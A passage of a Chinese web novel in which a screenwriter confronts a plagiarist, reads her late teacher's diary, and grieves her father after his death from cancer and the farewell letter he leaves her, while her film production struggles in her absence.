“你抄的就是我的,我自己的故事,我自己署名,有什么问题?我也给过你机会,可是你从头到尾没有说实话。如果你说实话,我会给你一个改编署名,毕竟,我写的是小说,不是剧本。但你非要说是你原创,就是你咎由自取。”杜华年吃着冷冰冰的甜品,说着冷冰冰的话。
慕华怔怔半晌,旋即泪如雨下,也不知道是恐惧还是悲伤,她整个人都瑟瑟发抖起来,声音也颤颤的,“你不拆穿我,又反口不兑现承诺,让我告你……一度你的工作室都关了,这么做,到底对你有什么好处??你当时要是拆穿我,我顶多……”
“别往自己脸上贴金了,”杜华年打断她,“不是每个人都和你想法一样。你在乎的,我不在乎。”
慕华婆娑的泪眼绝望地看着她,“你到底是个什么样的人啊?为了教训我,宁愿搭上自己?谁会这么干啊!!”她说到最后,愤恨终于爆发。
杜华年喝了一口甜汤,“你知道我最喜欢哪则神话吗?”她抬眼轻飘飘地瞥一眼慕华,“精卫填海。”
慕华被她的眼神刹住了哭泣,注视着她不敢眨眼。
杜华年牢牢盯死她眼睛,眼里露出兴奋又凶残的光芒,“你想,她一个天帝的小女儿,被海淹死了,不去爹娘那里哭闹,也不去找管事的要说法,似乎也没有人出来替她做主。她一个小孩儿,在海边玩而已嘛,难道是多大的罪过吗?为什么就白白淹死了呢?但是没关系,她也觉得这些都不重要,什么公道,什么正义,什么说法、对错、应该的,都去他妈的!她只知道,淹死她的是海,于是就要把它填平,让它永远不能再淹死我!让它永远没有兴风作浪的机会!谁欠我的,我就要他加倍奉还!”
往后一靠,杜华年微眯起眼,眸子仍闪烁寒光,“我小时候还觉得精卫悲壮,我以为她不知道海是填不平的。后来长大了,我才明白,愚蠢的人是我。她当然知道海填不平,但,填不填,才是最重要的。她一点也不悲壮,她就是可敬可佩,吾辈楷模。”她站起来,拍拍衣摆,俯视慕华,轻蔑明晃晃地,毫不掩饰,“慕华,你既然那么想取代我,那么我告诉你一句我人生的信条:滴水之恩,涌泉相报。滴水之恨,老娘一样涌泉相报!应该不应该?都去他妈的!”
她说完转身就走,水漫金山的背影,法海敲钵的节奏。曾倩赶忙多喝两口甜汤,站起来小跑两步跟上她。慕华看着她两人衣袂飘飘的背影,真像一对姐妹。
慕华想:她是白蛇,还是法海?
那我是什么?哈,我什么都不是。
游游荡荡,慕华不知怎么的就走到了车站,时间已经很晚了。她吃了碗面,食不知味,买了一张回老家的车票,她看见了久违的名字:许阿花。
其实她今天退租,身上那个单肩行李包,就是她全部的家当。
是一列绿皮慢车。
半夜到了大站,上补给,停车四十分钟。她从卧铺起来,走下去,沿着站台走啊走,走出了有遮挡的月台,一抬头,漫天星幕低垂,她没有感到一丝怜悯。
37. 哭,是要讲先机的
随着漫画热度走高,曾倩的名声在圈子内越来越响亮,杜华年反而禁止了她参与各类社交活动。她也听话,专心和林见月搞创作,按照杜华年的话说,她现在要尽量多写,第一个本子已经进入商业流程,这时候最重要的就是下一个本子,否则她就是下一个慕华。
杜华年再三思量,决定趁着漫画热度高,立即开拍电影,一来期待值拉满,热度能更上一层楼,二来漫改权在自己手里,话语权高得多,不必担心口碑受影响。她找来李雯曾倩和林见月,在潇湘馆开会,两个小辈不敢说话,李雯眼睛瞪得老大,“你在跟我商量?”
“不然呢?还有你俩,有意见就说,”她分别看向曾倩和林见月,“毕竟故事是你写,画是你画的。”
可惜没人有意见,三人一致同意,顺利散会。曾倩和林见月像渴盼放学的大学生,散会俩字还没落地,屁股已经抬了起来,抱起饭盒就撤回了工作间。
潇湘馆内吃饭的人还很多。
李雯向前俯身,拽住杜华年的手,“不对,你什么时候新添的毛病?做决定前居然和人商量?”
杜华年看着窗下几杆翠竹,“不好吗?你不是一直期待这样吗?”
李雯满脸将信将疑,“我是期待,但是……我更害怕了现在。”
杜华年翻个白眼,“你尽快习惯,还有,你尽快组人。”
李雯正愁没借口躲着老妈和男友,现在好了,有新任务,她闷头就砸进了工作里,每天恨不得吃住都在工作室。天地文化给钱很爽快,李雯的工作就能很顺利,一个月后,所有人正式进组,女主定的还是刘芊芊,男主是资方安排的人。
漫画还在连载,杜华年要求曾倩既要时刻配合林见月,又要时刻跟剧组。曾倩觉得她的要求十分过分,但杜华年却说:“这就是你自己选的路。真正热爱的人,只会不断想办法。”曾倩立马觉得自己要做那个真正热爱的人,但她又总觉得杜华年在pua她。
梅雨连绵,所有雨中戏都排在了最前面,第一场戏芊芊和男主就拍到了夜里十一点多才过。杜华年已经回去了,曾倩按照她的交代,给所有人准备生姜元宵做宵夜。为了把水端平,她亲自送去给芊芊,再送去给男主。
男主一边擦着头发,一边笑得灿烂,“你就是咱们的大编剧?”他目光直接,未干的发丝飘在额前,俊秀的脸和热情的声音,把曾倩晃得一愣。“我何德何能啊!你亲自给我送吃的。你不知道,我一看到这个剧本就陷进去了,通宵看完的,根本停不下来。你写得真的太好了!”
他十分自然地接过元宵吃起来,还不忘抬起眼望着曾倩,眼睛亮晶晶的。
曾倩突然心跳加速,看着他移不开眼,心想明星果然不一样,但脑子里又有个声音大叫不好,一时她不知所措,落荒而逃。
杜华年已经回到家了,雨却没停。猫猫懒洋洋地从沙发上爬起来,伸个懒腰就算迎接她了。她心头一氧,笑着抱起柯基,靠在窗边,潺潺细雨随着微风丝丝密密打在桂花枝叶上,夜晚仍然微凉。她深深吸气,雨中的空气滋润了她每一寸灵魂,她好久好久没有过这样的感受了,她伸手去接雨,皮肤的清冽触感,让她可以完全沉醉在自己的世界里。
回头一想,七八年来,她撵着时间,时间也赶着她,这个世界像一个巨大的齿轮,碾压她的触角,挣到了钱,挣到了名声,忙碌和焦虑用灯红酒绿冲淡,还有权力还有地位,都是她不能摆脱的。她越来越像杜华年,愈发不记得何芳芳。
可是杜华年应该是什么样的?何芳芳又该安放在哪里?
她抚摸华丽娟的日记本,她记得华老师一直对她说,要做自己,可是,什么是自己?
天空滚下来几声闷雷,她抱着猫猫,又再度出门,驱车来到千帆过。
姜老板就要打烊了,给她单独留了三楼栏杆边上的雅间。厨子也下班了,姜老板亲自给她去煮一碗腌笃鲜,吩咐姜流云看着她的狗,顺便也看着她。
杜华年喝着小酒赏着雨,一支笔在纸上涂涂写写,待到两页纸满才停下。屋檐的水滴被风送来落在页脚,她一笑,索性沾点黄酒涂抹成一支花枝。再度翻开华丽娟的日记,最后两页,记着她归去前最后的心绪。
2013年8月2日星期五 多云
今天哮喘几乎要发作,幸好我挺过去了。办公室里新来的女老师很年轻,不知道谁给她送了花,我及时逃了出去。
我得去拿药了。
下了班,我已经走到了医院门口,但我又不想进去,也不知道为什么,就是迈不动腿。我又回到了家里,倩倩昨天被我打发去了外婆家过暑假,我希望在暑假结束之前,能跟他把婚离了,可今天他又不知道跑哪里去了。
我很累,只想睡一会儿。
2013年8月3日星期六阴
今天是准初三补课最后一天。三年前那一届是八月才开始补,我就是在八月初见到了何芳芳。
也不知道是不是前些天见到了何芳芳的缘故,我这两天总是频繁地想起过去,想起我的老师,梦里也总是回到大学时候。梦境如此逼真,我有时并不能分清真假。
老师也给我回信了,我把何芳芳的名字照片和学校都告诉了他,还给他寄去了几段我保留的文章,都是何芳芳初中时写的。她或许到现在都不知道,我有时会趁他们周末回家,去教室偷看她的随手札记,她也就随意扔在课桌里。
老师说她确实和我当年很像。我看到这句,就开始哭,一直停不下来。
何芳芳,这个时代是属于你的了。希望你别和我做一样的选择。
我的女儿啊,将来如果我不在她身边,她会不会也能坚定,不被世界迷惑呢?何芳芳,我总相信,你和我女儿会有相遇的一天,我就是感到这种缘分。
我,又觉得累了。
这是日记本里最后的文字。2013年8月4日,华丽娟于家中哮喘发作,失救而死,享年39岁。她当时自主拨打急救电话后昏迷,但因家中无人开门,医护人员赶到后无法进入救治,酿成悲剧。
杜华年明白,从华老师再三放弃拿药开始,她已经在选择离去了。她很难想象她压抑的婚姻生活对她进行了怎样的折磨,但她知道,或许自己的出现,和再度出现,极有可能成为最后一根稻草。
人在长久绝望后,最怕看见希望。
她举起酒杯,对着夜雨,心里默念:华老师,如你在天有灵,应该能看见曾倩的今天,只是不知道,是不是你想要看见的样子?
她擦擦眼角,腌笃鲜还没好,她都快喝醉了。
正想着,姜流云把碗端了上来,热气腾腾,笋的清香和咸肉的鲜美,熏得她宛然一笑,姜流云一呆,他甚至看见了她眼角点点泪痕。
她边吃边写,不知不觉到了后半夜,姜老板已经在二楼睡下了,猫猫也窝在蒲团里打呼
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。只有姜流云还坐在楼梯边守着她。
他从未见过这样的杜华年,似乎完全不是那个叱咤风云的华年姐,他很好奇,也很着迷。他很想去问她还要不要再吃点别的,可又下不了决心,打破这么美的画面。
突兀的电话铃声响起,一道闪电劈空而下,闷雷随即到来,带来了远方的噩耗。
姜流云心脏砰砰跳,雨声里听不清电话那边讲了什么,他只能看见杜华年的侧脸一点点白下去,最后血色尽失。雷声吵醒了姜老板,想起三楼雅间是只有一道栏杆的角楼,她担心大雨泼进来,匆匆上了楼。
杜华年麻利地收拾了东西,就要走。姜老板还是看出了一丝慌乱,上前扶住她手,“怎么了?片场出事了?”
杜华年唇色都白了,看着她半天才开口,“我爸出事了,我得赶回家。”
姜老板和姜流云都是一愣,姐弟俩瞬间想起了父母过世的情景。姜老板反应快,“现在下着雨,大半夜也没有飞机,你要怎么回去?”杜华年霎时回过神,看了一眼手表,凌晨两点十五,确实太晚了。
她坐回去,打了个电话给小赵,幸好她还在千帆过陪林见月加班。“我工作间有应急行李和证件,你把它们送到千帆过,顺便订一张最早的机票。”
等小赵的时间,杜华年已经冷静下来。夏莲在电话里哭得天塌地陷,两分钟只告诉她五个字的有效信息:你爸病危了。具体情况多一个字也问不出来。
她的脑子并不混乱,也没有伤心欲绝,只是感到一种前所未有的黑暗在压城而来,这是一种预感,但她却并不了解预示着什么。她知道死亡必然降临,但上一次见父亲,他们仍旧像从前无数次一样吵架,甚至他还吵赢了,她想那应该是他人生为数不多,在和女儿吵架这件事上,扬眉吐气的时刻,她本还觉得,他可得有阵子神气呢。
雷声大作,暴雨倾盆。
小赵到了,姜老板给她煮了一碗姜汤。小赵问,“华年姐,这事要跟雯姐和小倩说吗?”
她点头,“你辛苦点,一会儿先送我去机场,跟着就去一趟剧组,告诉她们,后头的事情让李雯多盯着点,尤其是曾倩第一次跟组。然后你就听李雯安排。”
“好。”
姜老板过来拍拍她手,“我给你煮碗小馄饨,吃饱了再赶路。”
她抬头望着姜老板烟雨江南一般的眉眼,本想说吃不下,但出口转成了,“好,多亏了你。”
“不算什么的呀。”姜老板带着吴越口音,软绵绵的。
姜流云早楞在原地,姜老板顺手把他捞进了厨房。他问,“姐,华年姐是忍着难过吗?”
姜老板手上忙碌,“不然你觉得是什么?”
“她……你当年也是这样吗?”
姜老板身形顿了顿,很快又?了一勺肉裹进馄饨皮里一卷一折,“那怎么办?你那会儿还只会哭,我不忍着,谁把事办了?她一个独生女,之前我听过她和她妈妈打电话,她妈妈是娇滴滴的大小姐,估计这会子,也只会哭了。”
姜流云心里一抽,他活了二十多年,第一次知道,原来哭是要讲先机的,一个人先哭了,另一个人就只能忍着了。姜老板把馄饨下进汤里,“等事情料理完,她静下来,就会哭了。”
姜流云上前把姐姐让下来,自己煮起馄饨。后来他端上楼给杜华年的时候,发现她皱眉望着远方雨帘深处,眼睛像一颗随时会散的水珠。
38. 来来来,从今天起,咱好好说!
医院总是比别处更凉,何芳芳疾步走进去,浑身打了个冷战。病房在十四楼,她急急出了电梯,踏上两栋楼之间的廊梯时,两侧来风哗啦一下掀起她的衣襟与长发,扑打在她脸颊,她不自觉地慢下来,眼底开始潮湿,鼻梁酸透,不得不张嘴吸气,像翕合的鱼。
复道行空,一步一步,像踏在她人生的回头路上。
风像隔世而来,对面的高楼像张开大口的阴阳兽,等着她走入腹中。一下子,她又被捞起来丢出了轮回井。
走完这条道,风才熄灭,她的头发突然就停止了慌乱,安静地垂在脸颊两侧,她的心,也突然沉静下来。病房外的椅子上,她先看见了夏莲。
夏莲已经哭得开始抽抽,一旁坐着一个女子,背影看着有点熟悉,这熟悉又很久远。背影正拍着夏莲,大概是轻声在安慰。杜华年极力搜索背影无果,索性走到夏莲面前喊了一声“妈”,夏莲和女子一同抬头看她,她一眼认出来,“小姑姑?”
何文衫站起来,“进去吧,你爸就等着你呢。”
来不及细想,杜华年走进病房。何文谦安静地躺在病床上,连着简单的仪器,她看了一眼屏幕上的数字,血氧量就在九十上下飘忽,他果然就是在等人。
走近,病床上的父亲已经瘦成了一把枯柴,脸颊凹下去,像开了两个空洞,颧骨高高的,皮肤蜡黄发黑,像沉年的矿。她脑子并不乱,心里也不慌,只是一开口,却控制不住地哽咽,“爸……”她自己都惊了一下,随即热泪乱掉,让她忽而就苦笑开来,原来英雄不过血肉之躯是这个意思。
床单上砸下点点泪滴,“噗噗噗”错落纷乱,何文谦缓缓睁开眼睛,看着并不费力,甚至眼中还有些清亮,“你来了……”他努力地睁大一点眼睛,仔细从头发到眉眼凝看着何芳芳,努力地,似乎在辨认,似乎在记住,以一种绝望中骤见一眼海市蜃楼的目光,乍喜却更悲,因为就算看见了,也再到不了了,他没有力气了。
何芳芳仔细地分辨他的神色,管不了胡乱打湿发梢的眼泪,可汹涌的泪水模糊了她的视线,她烦躁地甩掉,继续去看。何文谦挣扎着向她伸出手,她看了一眼,伸手去握,却被他急切地甩开,虚弱得没有半点力量,却还是让她全身一震。他费力地指向什么,张着嘴喘气,何芳芳顺着他手去看,床头柜上一个白瓷水墨远山釉杯下,压着一个雪白的信封。
何芳芳一愣,愣了很久,骤然放声大笑,笑声凄厉,穿云破雨,门外的夏莲也停止了哭泣,何文衫惊站起身,望向关着的病房门。
这是何文谦独特的育儿方式,无论大事小事,只要他想教训女儿,总是写一封信,用这个白瓷杯压在她的床头、餐桌、书桌、茶几,甚至,压在鞋柜上。他总觉得吵架吵不赢,是因为工具是嘴,没有用他最擅长的笔杆子。
何芳芳悲从中来,哀伤四面八方地在五脏六腑里横冲直撞,她感觉四肢百骸都疼,这会子她才品出了哭的滋味。她用力皱着眉,双眼通红,悲恨苦痛写满一张脸,望着何文谦,声音有点哀戚,“爸,你不跟我说什么吗?”何文谦仍旧指着那封信。何芳芳吐出一口气,去拿起了那封信,何文谦才放下手臂,微笑起来看着她,那笑容在何芳芳眼里没有一丝温暖,全是一个固执的老人幼稚的威逼和自大。他明明可以说话,她一进门,他就说了句你来了。可他就是如此坚决地不开口,连生命的最后,他也不给何芳芳留下一点父亲的温柔。
何芳芳就这么看着他,他像一个好胜的小孩,与何芳芳针锋相对了一辈子,最后终于获胜,渐渐闭上了眼睛,面目称得上安详。她五脏一颤,一声“爸”刚喊出来又销声匿迹,最终还是上前拉住他无力的手,他的身体一点点,凉得很快。
泪水淹没了她。
母亲和小姑姑随医生进来,医生打了一段空白的心电图,确认死亡。专门料理的阿婆进来给他穿寿衣。
她留下了那段心电图。
再走出来,天已经黑了透。何文谦要被送到敛房,在医院最后头的小平房,里面有一面墙的冰格,他就被推进其中一个。在敛房外烧引魂香的时候,何芳芳很想把那封信往炉子里一扔,一了百了,但她终于还是忍住了。
敛房外的院子里,她们等着殡仪馆的人。何芳芳问何文衫,“我爸为什么走得这么突然?”
何文衫穿着挺括的白衬衣,脖子上挂着一串黑珍珠,头发盘得一丝不苟,眉目深邃,脸颊瘦削,皮肤发黄,没什么光泽,一双黑眼珠子却晶莹透亮,说话声音虽轻但音色低沉,字字干脆,少有起伏,“清明节那阵子查出来肠癌,已经第四期了,他的意思也不想化疗,就吃药,你也知道,这种情况很快的。具体的,嫂子你跟她说说。”
夏莲新泪叠旧痕,望着门外黑黢黢的夜失神,灯光照在她脸,惨白。听到何文衫叫她,她才醒过神来,“啊,什么?”
何芳芳看着她涣散的眸色,压轻了声音,“妈,你别怕,还有我呢。你们怎么发现我爸肠癌的?为什么清明节的时候没告诉我?我记得我打过电话问你要不要回来祭扫。”
夏莲一听这个,眼眶又红,泪水眼见着落得更急,“你爸……你爸过年前就老说肚子疼,我不放心,叫他去医院,他不愿意,我想反正他年年都体检,一直都很健康,也没在意,后来也没听他再提。可是清明节前一天他突然在家晕倒了,送到医院一查……就第四期了……”夏莲闭上眼哭,“怎么就第四期了?去年体检还好好的……这才几个月……”
何芳芳眼前一白,有那么几秒近乎失去意识,深吸了几口气,才恢复清明。何文衫扶了扶她,“是你爸不让说的,他不让你妈跟任何人说,他自己打了个电话给我。唉!我那阵子还在山里呢,幸好那天到了镇子上,有信号。”何文衫忍了忍哽咽,“我这个老哥啊……牛脾气,一辈子,脖子比墙柱子还硬。芳芳,你爸担心他走了,出版社这一块没人给你撑腰,所以叫我回来,我原来有个虚职,这两个月我也算重操旧业了,你有事直接跟我说。”
何芳芳才要反驳,忽然脑中闪过慕华愤愤的脸,一口气便散了——不管自己多不想,何文谦女儿五个大字,永远会起作用。
“小姑姑,那个慕华的事,我爸是不是有授意……”
何文衫看她一眼,“有。他拿着证据,找几个大出版社负责人开了会,大家都传阅了一遍你的手稿,上面还有他的批注呢。”
“手稿?我的手稿在我这里呀!”
“复印版。”
啊?何芳芳懵在原地。
殡仪馆的车到了,何芳芳目送他们把父亲带走,院子里乱风四起,摇晃着黑漆漆的树影。她觉得自己像一缕幽魂,夜太深了,这个小院子太凉,但她还得打起精神,因为殡仪馆的人和她们约在家中,布置灵堂,商量后续事宜。
灵堂布置好,已经是后半夜了。何文衫和夏莲睡下后,何芳芳要独自守灵到天亮。香炉里的香就要燃尽,她续上,再去泡了一桶面,坐在灵前吃了起来,大门敞开着,三天不能关,六月末的夜晚,隐隐有雷声,她吃下几口,才觉得有点暖。
吃完,她拆开了信封。
芳芳吾儿:
我病了。是重病。刚知道。
我叫你妈不跟你说,因为反正也治不好,除了惹你担心,全无用处,不如免去。
我自己联系了你小姑姑,许多事,她会替我帮你。
你先别急着上火,事实上,这么多年,我都在帮你。
做完这些,我就开始写这封信了。但却发觉很难写,写了几天,也没写出几个字。我们父女这么多年,竟然并没有机会好好说话,也算我的失败。
你刚出生的时候,我非常开心,我想我的人生圆满了,我只想把你当做一个可爱的女儿,你天真娇憨,率直明朗。我虽然不是富甲一方,但还是敢说一句,做我的女儿,你的人生尽管尽兴,不必吃那些为了出人头地的苦头。
但是你却不,你偏偏长了一身反骨,更偏偏继承了我的才华。
你知道吗?才华需要规训,你恐怕是不知的。可我深知,才华横溢的人,最易走入歧途。而我这条路不好吗?便说是名利双收也不为过,既然你不能做一个可爱的女儿,一定要做一个骄傲的天才,那么,我该尽为父的责任,为你规训。
哼。
可你一身反骨。
算了。
你就是爱钱,爱挣大钱,我也没办法。你瞧不上文学,瞧不上我们这些规训,这些老做派,好吧,你去做你挣钱
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的编剧。
但你始终是我女儿,即便做乞丐,也无法改变,我不可能允许我的女儿在这个世界上受人欺负。你初初入圈时想必也深切地感受到了,这是个什么乌七八糟的行业。我本想你吃了苦头,会想起我给你的路,没想到你的脾气也和我一样,硬!唉……既然如此,那我也不能袖手旁观,但你不必感激我,因为你是我女儿,我必要这么做的。
你知道我有个玉蟾,我每天盘它,爱不释手,摆下时也怕一旦它离开我视线就会发生意外。有一天,它却不见了,我冲你母亲发了一顿火,保姆也被我辞换了,仍旧没有找到它。我觉得是我的疏忽,没有时刻看着它。过了一阵子,我收拾了书桌,竟发现它就静静躺在桌面那棵小盆栽下面,只是春来,盆栽绿叶太盛,将原本空出的位置遮住了。我当然手舞足蹈,失而复得,真是人生最大之幸,继而我时时将它揣在怀里,睡觉也不放手。
然而,翌日清晨我醒来,它却在床头地下摔碎了。想来是我睡着了,无知无觉松了手。
吾儿,我后来想,如果那时我给玉蟾配成一对,不觉得它孤单,是不是我就不会时刻想扣在手里,那么它会不会就能逃过一劫?
我实在是不够了解你,这么多年,你喜欢吃什么,喜欢什么颜色,喜欢什么季节,喜欢什么花,我都不清楚。你母亲倒是知道,但她也从不给我说,直到我这几个月,时日无多了,才开始想。于是我问了你母亲,她说你喜欢吃鱼,喜欢蓝色,喜欢秋天,喜欢梧桐树,不喜欢花……大概还是我做父亲太失败。
关于你母亲买下那座院子的事,我知道是你耍的小手段,大概和过年时你带回来那个姑娘有些关系罢?实话说,我挺高兴,毕竟这么多年,你终于把心思花在我和你母亲身上了一次。但我又觉得忧虑,你这手段玩得实在不高明,这么多年你混得又还可以,是因为你的对手都太差劲么?
不说这些不着边际的了。现下我时间紧迫,必然要考虑周全,我与你母亲商量,这个院子你当也喜欢,不然不会住那一阵子,也请风水先生看过了,确实很好,算是个毓秀芬芳的所在。我们打算就留给你了,过户手续我已请律师做好,只要你签字就行。其他的,我想你也瞧不上,我都交给你姑姑和母亲,到时候如你有需,她们也随时都能安排。
至于最重要的,是你日子还长,这次风波过后,我不知晓你是否有了另外的打算,我更忧虑你日后是否会孤独终老,现下一想,你大学时恋爱,我就不该管太多,但是也为时晚矣。
就到此罢,纸墨再长,终有一别。
愿吾儿:
平安无忧。
父:何文谦
2024年5月30 于仁爱医院
何芳芳抖着手,左手拿着信,右手拿着烟,翻来覆去将信读了五遍。烟烧到了烟蒂,烫到了她的指尖,她手一抖,烟蒂落地,地上已经满是烟头。
她心里波涛汹涌,不能安宁。要怎么形容呢?无法形容。最后只能自嘲一笑,她想:这就是她的父亲,何文谦大先生,给他唯一的女儿留下的最后的字句。读完的一刻,她竟然是首先松了一口气,幸好没有看见“文谦绝笔”四个字。然后铺天盖地的眼泪洗劫了她的脸,愤怒与伤痛裹在一种艰涩的浓雾里侵袭她全身,软绵绵的,虽拳打脚踢亦只徒劳。这感觉很钝很涩又很伤人,是什么呢?是不甘?悲哀?费解?可笑?怜悯?苍凉……哦!对了,是空恨。
是空恨!
什么恨,有多深,对着一个死去的人,对着空荡荡的天地,都只剩厉声长嘶后的奄奄一息。
她感到从心底窜上来一股戾气,它已经存在了太久了,被她一直压下去,可此刻,再也压制不住,劈山倒海而来。一股狂烈阴风从大门外冲进来,把香炉两边的蜡烛扑灭,何芳芳一扯冷笑站起来,从厨房掏出两个碗,一只“当”一声砸在灵前,另一只拿在手里,抄起祭台上白酒瓶子往两只碗里“哐哐”倒满,“叮——”一碰,她举碗喝干,满目红泪看着灵台上黑白照里的何文谦,心想:好好好,爹,咱爷俩不是没好好说过话吗?来来来,从今天起,咱好好说!
可真要开口,她还是只有泪流,一时怒意太盛,纵眉头皱死,咬破了嘴,仍没办法说出一个字。
39. 一切都开始不可控了
头三天守灵,都是何芳芳通宵达旦。一到清晨,保姆来做了早饭,她吃过就睡下,母亲和姑姑才起来,接手处理出殡事宜。她睡到傍晚,再起来吃晚饭。
也只有晚饭时间,她才与母亲和姑姑打上照面。夏莲悲伤过度,已经病恹恹的了。何文衫却精明强干,第二天就发现何芳芳很不对劲,但无论她怎么问,何芳芳都只是机械地应声,顶多说几个字,又去岔开话题。
第四天出殡,何芳芳碎碗,顿时长风四起。何芳芳扶灵,何文衫撑伞走在前,夏莲一手抱着相片,一手端着苹果,苹果上插着引魂香,走在后。何文谦的弟子们都来了,浩浩荡荡走了一路,追悼会上哭声一片,也算是体面得不得了了。
何芳芳却没有再哭,她想何文谦应该瞑目了。
等一切结束,送走宾客,安顿好骨灰盒,她还记得问夏莲,“妈,我爸有没有信得过的风水师傅?请来看看墓地吧。”
得在外面吃过饭。何家人丁不旺,加上何文谦几个挚友,也不过一桌,何芳芳一力操办下来。何文衫本来怕她年轻,总有不周之处,没想到她万事打理得井井有条,应对各人也进退有度,心里不禁颇多赞许。
回到家已经下午四点多了,夏莲把风水师傅联系方式交给她后,又睡了。保姆煮了一锅绿豆莲子粥,姑侄俩终于有机会说几句话。
“芳芳,你爸临走跟你说了什么?”何文衫单刀直入。
“什么都没说。就一句‘你来了’”何芳芳也干脆利落。
“可我听见你笑声很惨。”
“因为他留给我一封信。他等了这么久,终于在走之前见到我,也只是为了留给我一封信。”她感觉累了,苦笑一声,“我甚至问他没话跟我说吗?他也不开口。”
何文衫着实没想到事情是这样的,她静静地坐了一会儿,又问,“信里说什么?”
“说我们父女俩没好好说过话。”她突然抬眼盯着何文衫,目光犀利,语气讽刺,“你说可笑不,小姑姑?”
何文衫不知如何安慰她,其实自从何芳芳长大,她就没有见过这个侄女,只是听闻她名声愈盛。可这几天相处,她能感受到,何芳芳再不是小时候的何芳芳了,她大概真的配得上她自己起的名字:杜华年。
“你爸的脾气是古怪得很,但你看他那么多学生都来了,说明他也还行不是?”
“小姑姑,你跟我交心,我也跟你说真话。我说一句,我爸是顺我者昌逆我者亡的人,没冤枉他吧?”
何文衫在她脸上,看见了绝不匹配她年纪的淡漠,于这个世界,她的心很冰冷。她想安慰她,但她不擅长安慰人,只说:“你这样可不像个小姑娘。”
“呵呵呵……我不小了,姑姑。”她站起来,“我喝完了,姑姑你慢慢。”
何文衫拉住她,“你等等。”她从衣袋里拿出一张卡片递给她,“我这些天看你操办这些事,就知道你这些年过得不简单。你不想跟我说没关系,这个你留着,我觉得总会有点用。”
何芳芳接过来一看,是一张水晶卡片,上头刻着两行字:
心理医生
白紫苏
什么年代了,她早就不收名片了,但这张卡片实在晶莹剔透,很是漂亮,她还是把它放进了衣袋里,对何文衫说了谢谢。
回到她的房间,这是她从小长大的地方,她仿佛回到了温暖的水里。她看着墙上泛白的海报,桌上散落着制作粗糙的猫狗摆设,窗台上的淡黄色玻璃花瓶里有一把干枯的花,骤然而来一股巨大的失落感。这些无数的细节都在告诉她:岁月流逝得多么飞快,十几年的时光就这样,一去不复返。
看着镜子里憔悴的脸,一如墙上掉色的海报,积年的苍白。
她洗了个澡,把自己往床上一扔,再也没有力气爬起来。
杜华年刚走,第二天男主就请了假,曾倩没经过这种事情,刚想打电话给杜华年,才想起她回家奔丧去了,转而打给了李雯。连打三次,李雯都没接,她看着小助理一脸殷切,心一软就答应了。
结果这个头一开,每天都有人来请假。一开始还不猖獗,可不过一周,导演要换景的时候,灯光组竟然凑不足人,硬生生耽误了半天的进度。导演终于找到曾倩,“这是怎么回事?灯光组的人呢?你同意他们请假?你只是个编剧,你有什么资格替我批假?”
质问严厉,她被骂得结结巴巴,红着脸,就要掉眼泪。
导演叹口气,“算了,跟你说不明白。监制呢?为什么连续几天都不出现?男主什么时候能回来?再不回来你们换掉他吧!”
曾倩终于抓到了重点,“我马上打电话给雯姐。”
李雯仍旧没接,但她带着男主回来了。曾倩看着她游刃有余地安抚导演,又重新安排了一组灯光,把原来的灯光整组辞退,才回来领她去了房车上。
“这两天我太忙了,没照顾到你。导演都这样,你别往心里去。”李雯给她递了支水。
“雯姐,不是都说咱工作室的剧组都很好的,人人都负责任,好沟通,讲效率,为什么现在会这样?”
“嗐,你也不想想,你芳芳姐刚刚重启工作室,还有好些人都没请回来呢,圈内人大多也都还在观望,你看连男主都要同意资方人选。这个导演也不是我们的,是资方要求另外聘用来的,这就是想要削弱我们的话语权。刚开机的时候你芳芳姐在,大家都憋着,现在她走了,我最近又没有天天跟,就剩你一个年轻姑娘好欺负,他们当然原形毕露咯。”
听完,曾倩更沮丧了。李雯看她一张脸皱着,提议,“要不我调你回去,协助姜流云和林见月,他们那头要开动画组,在前期准备。动漫我们也没做过,一堆事,但好在都是自己人,肯定不会为难你。”
“动漫?漫画还没连载完呢,这是芳芳姐的意思?”曾倩感到一点奇怪的情绪。
“不是,是我的想法,还没跟你芳芳姐说。她爸爸走了对她来说不是小事,我们也不能总依赖她嘛,”李雯浅浅笑了笑,抬眼安抚她,“不怕,你雯姐还是你芳芳姐的伯乐呢,不差太多。一会儿你就回南京去,啊。”
曾倩愣了一会儿才回过神,咂摸明白她的意思,立马摇头,“不,不用。我就在这,我想办法,让我再试试。”
李雯眼里一亮,看着她侧脸上淡淡的倔强,心头隐有风雷声过。
李雯只在剧组停留了两天,又要赶回南京,她直奔宠物店,先接上寄养的猫猫,又匆匆赶去工作室。
杜华年走得太不是时候了,漫画是全新的领域,从前她们从未涉猎过,杜华年这个大胆的决定,带来了无数难题。杜华年没走的时候,各个部门轮流找她和李雯要人要资源要方案要解决办法,每天要回答数不清的问题。可是现在杜华年奔丧去了,只剩李雯,独自面对各个部门的狂轰滥炸。
一个走神的功夫,李雯追尾了前车,幸好并不严重。可是前车司机不依不饶,她实在没办法,想要打电话给小赵,却想起来小赵被她留在剧组照顾曾倩了。一怒之下,她从车上翻出一万现金甩在对方脸上,“够了吧?赶紧滚!”
说完也不管对方还在骂骂咧咧,径直回到车上,连倒几把,一踩油门。可对方还蹲在地上捡钱,眼看车就要轧过去,吓得围观群众一阵惊呼,捡钱的连滚带跳躲了过去。
回到工作室已经到中午了,她匆匆赶去看林见月,却意外地,见到了宋林和他的几个学生。
整个工作间一片祥和,安静得如在梦里,人人各司其职,都对着个画板簌簌落笔。只有宋林走了过来,拉着呆愣的李雯走到外间,“你吃饭了吗?他们说你早上就回来,我一直等到现在。”
“等什么?”
“等你发现你还有个能干的男朋友啊。”
宋林笑得很好看,李雯看得晃了神。幸好林见月带着几个人走了出来,笑着跟她打招呼,“雯姐!”“雯姐好!”
“好。”李雯应着,林见月笑得灿烂,“雯姐,你男朋友太厉害了!他简直是我们的救星!他带来的学生比阿倩那些同学强太多了,给你看今天的进度。”
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她把平板递过去,李雯划了好几页,不仅进度快了很多,连场景丰富程度和画面细腻度都明显提升,甚至每个场景的分镜头设计也从原来的四五个提高到了十多个。这样一来,即将要做的动漫电影,都能有点谱了。
像三伏天来了个台风,李雯连日来的焦灼一扫而空,上午追尾的晦气也变成了一个乐子,说出来给他们乐一乐。可宋林却担忧又失落,刚想问她怎么不给自己打电话,看她一脸开心,又忍住了。
吃过午饭,宋林带着众人又回到了工作间,李雯站在门口看了一会儿。他们的走位都像一幅画,有人站着,有人坐着,有人在前,有人在后,错落有致,午后的阳光渐渐洒进来,照在他们的肩上、发上,泛着美丽的柔光,给每个人都镶了一层金边。
李雯看着看着有了泪意。
